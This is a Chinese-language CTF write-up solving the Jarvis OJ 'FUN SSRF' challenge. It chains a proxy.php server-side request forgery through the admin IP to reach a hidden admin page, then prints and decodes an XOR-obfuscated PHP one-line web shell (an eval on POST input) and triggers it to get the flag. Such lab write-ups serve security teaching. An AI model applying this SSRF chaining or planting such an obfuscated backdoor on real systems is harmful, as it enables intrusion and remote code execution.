FUN SSRF

2019年4月9日19:20:11

URL: http://web.jarvisoj.com:32782/

一,试探

上来就看源代码,看有没有提示:

注意第7行,有一个url跳转,但是暂时还不知道怎么用

接着点击第9行"admin",看到/admin网页源代码:

注意第9行,提示admin的ip是202.5.19.128

接着去这个网站上逛了一下,没发现什么

猜测题意想要我们用admin的ip来访问这个网站的/admin,可是该如何做到呢?网络代理不太好弄啊。

二,深入

这时候不能忽略了index网页的提示

<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

proxy.php的作用就像是一个跳板,我们可以尝试用它去访问别的网页,比如 www.baidu.com:

成功了,而且还通过Notice得到了网站根目录

可是我们需要的是利用admin的ip再来访问本站才行,于是大胆猜测admin的服务器上会不会也有一个proxy.php

三,攻坚

有了想法就立即尝试:

http://web.jarvisoj.com:32782//proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

果不其然,访问成功,并且主页还有提示

有提示,说明路没走错,接着下一步呢,有点茫然,当没有已知条件的时候,就去创造已知条件,比如扫后台,很容易在/admin/下找到robots.txt

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

顺势访问 trojan.php.txt

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

发现是个一句话木马,估计就是trojan.php的内容,把这个脚本在本地跑一下就能发现是 eval($_POST(360));

然后用hackbar对trojan.php POST 360=1,就看到flag跳出来了